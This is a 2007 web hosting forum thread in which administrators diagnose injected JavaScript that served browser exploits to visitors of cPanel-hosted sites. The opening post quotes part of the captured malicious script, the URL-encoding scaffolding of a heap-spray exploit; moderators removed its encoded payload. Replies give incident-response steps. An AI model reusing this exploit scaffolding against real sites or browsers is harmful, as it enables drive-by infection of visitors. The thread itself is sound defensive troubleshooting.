Web Hosting Talk


Go Back   Web Hosting Talk : Web Hosting Main Forums : Hosting Security and Technology : Linux servers having CPANEL - js virus hitting
Reply

Hosting Security and Technology Configuring and optimizing web hosting servers and operating systems, developing administration scripts, building servers, protecting against hackers, and general security (SSL certificates, etc.)

 
Thread Tools Search this Thread Display Modes
  #1  
Old 11-25-2007, 02:37 PM
rushik rushik is offline
View Beta Profile
WHT Addict
 
Join Date: May 2004
Location: chicago
Posts: 173
Exclamation Linux servers having CPANEL - js virus hitting

Hi All,


Earlier this week, our users started reporting that they were getting active-x prompts for Microsoft Data Access Component installation. In addition some of them were getting hit byt the RTSP bug (quicktime) and some were getting the JS/Explot-BO.gen alerts via McAfee. Upon troubleshooting, we see that irrespective of the page type (simple html, php, etc) at times a script tag similar to the one below is inserted right after the <body> tag.

<script language='JavaScript' type='text/javascript' src='shfuy.js'></script>

The javascript file name changes and the problem only occurs at times. There is no set pattern to reproduce the problem although I have noticed that if I connect to the server via a new IP address from my DSL connection, I get the javascript in the source.

I ran some sniffer traces on the server and my laptop. This showed that the javascript was being sent by the server. I was able to capture the javascript (contents of the javascript below).

Solutions tried:
I have checked for the filenames but they do not exist on the server.

1) Have run chkrootkit and rootkit hunter - All clean
2) Have run clamav - All clean


Would appreciate if anybody could provide some inputs on what we might be dealing with and how to resolve the problem.

Javascript code:
var arg="akmukvfd";
var MU = "http://" + window.location.hostname + "/" + arg;
var MH = '';
for (i=0; i < MU.length; i++)
{
var b = MU.charCodeAt (i);
MH = MH + b.toString (16);
}
MH = MH.toUpperCase();
if (Math.round(MU.length/2) != (MU.length/2))
{
MH += '00';
}

var MR = '';
for (i=0; i < MH.length; i += 4)
{
MR = MR + '%u' + MH.substring(i+2, i+4) + MH.substring(i, i+2);
}

var MU2 = "\"" + MU + "\"";
var MR2 = "\"" + MR + "\"";

var SB =
<<removed encoded exploit>>

document.write (SB);

Thanks,
Regards
Rushik Shah

__________________
CEO - Alakmalak Technologies www.Alakmalak.com
Web Application Development : Website Development Web Designing
Support 24 X 7 - Toll Free - 1-888-GUJARAT Yahoo id : alakmalaktechno AIM : rushikshah
Operating Since 2000 || Co-orporate office at USA - Web development center at INDIA to cut costs..



Last edited by bear; 11-25-2007 at 09:59 PM. Reason: Pointless to help spread this
Reply With Quote
Sponsored Links
  #2  
Old 11-25-2007, 02:49 PM
Jedito Jedito is offline
View Beta Profile
Web Hosting Master
 
Join Date: Apr 2001
Location: Buenos Aires / Argentina
Posts: 9,188
Anybody have the FTP information of all the accounts having this problem? it may be possible that a compromised computer were infecting those sites without even knew it.

__________________
Multiple Domain Hosting - Shared Web Hosting - Reseller Hosting - Semi-Dedicated Servers
FFMPEG, FFMPEG-PHP, Libffac. Libffad2, Xvid, Libogg, Libvorbis, Mp3lame, FLV2Tool Support
*Cpanel/WHM - RvSkins - Fantastico de Luxe - Site Builder- SSH support - Account Migration* LiteSpeed Powered
Downtown Host LLC - In Business since 2001 - Toll Free:*1-877-384-6781*

Reply With Quote
  #3  
Old 11-25-2007, 02:51 PM
David David is offline
View Beta Profile
& Goliath
 
Join Date: Oct 2003
Location: Vancouver & Toronto
Posts: 8,357
It's more than likely it was just a deface of the specific account. Doubtful that it's an end-user's system being exploited and then FTPing up the data, far too much effort

Reply With Quote
Sponsored Links
  #4  
Old 11-25-2007, 03:02 PM
rushik rushik is offline
View Beta Profile
WHT Addict
 
Join Date: May 2004
Location: chicago
Posts: 173
Hi Jedito / David

Thanks for your quick reply. Actually I already did this check

I changed ftp passwords, but still it got effected after 3-4 days again.

The matter of fact is almost all websites on the server are affected. Mostly the index . html, php files

Any clue

Thanks!
Regards
Rushik Shah

__________________
CEO - Alakmalak Technologies www.Alakmalak.com
Web Application Development : Website Development Web Designing
Support 24 X 7 - Toll Free - 1-888-GUJARAT Yahoo id : alakmalaktechno AIM : rushikshah
Operating Since 2000 || Co-orporate office at USA - Web development center at INDIA to cut costs..


Reply With Quote
  #5  
Old 11-25-2007, 03:09 PM
Jedito Jedito is offline
View Beta Profile
Web Hosting Master
 
Join Date: Apr 2001
Location: Buenos Aires / Argentina
Posts: 9,188
Quote:
Originally Posted by David View Post
It's more than likely it was just a deface of the specific account. Doubtful that it's an end-user's system being exploited and then FTPing up the data, far too much effort

There's an trojan which does this automatically, the trojan infect the computer and pickup all the FTP book of any FTP program installed in the computer, it does send it to the "hacker" which lately use it to upload the infected data, this happened to one of my resellers awhile ago.

to the OP, check on the FTP logs of the affected account which files were uploaded and check if the IP uploading those files mismatch in all them.

__________________
Multiple Domain Hosting - Shared Web Hosting - Reseller Hosting - Semi-Dedicated Servers
FFMPEG, FFMPEG-PHP, Libffac. Libffad2, Xvid, Libogg, Libvorbis, Mp3lame, FLV2Tool Support
*Cpanel/WHM - RvSkins - Fantastico de Luxe - Site Builder- SSH support - Account Migration* LiteSpeed Powered
Downtown Host LLC - In Business since 2001 - Toll Free:*1-877-384-6781*

Reply With Quote
  #6  
Old 11-25-2007, 04:21 PM
sash sash is offline
View Beta Profile
Aspiring Evangelist
 
Join Date: Jul 2005
Location: Belgium
Posts: 427
Hi,

Which platforms does this trojan infects? Do you know its name?

Thanks,
sash

__________________
kept alive by vertaalbureau

Reply With Quote
  #7  
Old 11-25-2007, 07:21 PM
BudgetVPS BudgetVPS is offline
View Beta Profile
Junior Guru Wannabe
 
Join Date: Nov 2007
Posts: 35
Is there a way to stop this from happening on a cpanel server?

Reply With Quote
  #8  
Old 11-25-2007, 08:42 PM
zacharooni zacharooni is offline
View Beta Profile
Premium Member
 
Join Date: Apr 2005
Location: Lansing, MI
Posts: 1,092
Looks like a buffer overflow JS exploit. NoScript stops it, but I would do this:

find / -name *.js | xargs grep unescape

__________________
My blog

Reply With Quote
  #9  
Old 11-25-2007, 08:46 PM
IPv6 IPv6 is offline
View Beta Profile
the ground beneath my feet
 
Join Date: Feb 2006
Posts: 1,109
The code is here: <<snipped>>

__________________
semi-retired


Last edited by anon-e-mouse; 11-25-2007 at 09:04 PM.
Reply With Quote
  #10  
Old 11-25-2007, 08:57 PM
zacharooni zacharooni is offline
View Beta Profile
Premium Member
 
Join Date: Apr 2005
Location: Lansing, MI
Posts: 1,092
Also, check xferlog and see who uploaded it.

__________________
My blog

Reply With Quote
  #11  
Old 11-25-2007, 09:04 PM
nickn nickn is offline
View Beta Profile
Web Hosting Master
 
Join Date: May 2003
Location: Chicago, IL
Posts: 4,146
To clarify, there is absolutely no evidence provided that this is at all isolated to cPanel even if it is in fact an issue.

__________________
VPS.NET - Often imitated, never duplicated. Offering Akamai CDN at a price you won't believe. Ask me.
nick@vps.net - Global Commercial Director - UK2Group.com Resell VPS.NET today, let's talk! 832.495.4888


Reply With Quote
  #12  
Old 11-25-2007, 09:05 PM
zacharooni zacharooni is offline
View Beta Profile
Premium Member
 
Join Date: Apr 2005
Location: Lansing, MI
Posts: 1,092
Don't paste code like that on a public forum.

__________________
My blog

Reply With Quote
  #13  
Old 11-25-2007, 09:43 PM
IPv6 IPv6 is offline
View Beta Profile
the ground beneath my feet
 
Join Date: Feb 2006
Posts: 1,109
Quote:
Originally Posted by zacharooni View Post
Don't paste code like that on a public forum.
It's already in the OP, just URI encoded.

__________________
semi-retired

Reply With Quote
  #14  
Old 11-25-2007, 10:00 PM
bear bear is offline
View Beta Profile
Community Leader
 
Join Date: Oct 2002
Location: E-Den
Posts: 11,363
Quote:
Originally Posted by Procyon View Post
It's already in the OP, just URI encoded.
Not any more. Let's try not to feed the "kiddies".

__________________
Did you know WHT has a help desk?
Together, we can make a difference. Hosting For Haiti - 100% of donations go to the American Red Cross Haiti Relief and Development Fund.

Reply With Quote
  #15  
Old 11-28-2007, 06:58 AM
AndyB78 AndyB78 is offline
View Beta Profile
WHT Addict
 
Join Date: Sep 2003
Location: Europe
Posts: 146
Hello Rushik,

I can second your findings. The exploit appears all the time on different pages (the page indicated by KIS keeps changing, usually HTML) and it doesn't appear twice for the same IP and this seems to me to be related to IE only. Have you discovered anything new?

Quote:
Looks like a buffer overflow JS exploit. NoScript stops it, but I would do this:

find / -name *.js | xargs grep unescape
There is usually NO unescape(), no eval(), no iframe anywhere on the affected accounts. The .js file (this also changes) doesn't even exist anywhere on the server. It's like Trojan-Downloader.JS.Small.fs gets generated on the fly (in our case it tries to download a Exploit.HTML.IESlice.n from <<removed>>

Any clue anyone?

Thanks and regards!


Last edited by bear; 11-28-2007 at 07:27 AM.
Reply With Quote
Reply

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes
Postbit Selector

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off

Forum Jump
Login:
Log in with your username and password
Username:
Password:



Forgot Password?
Advertisement: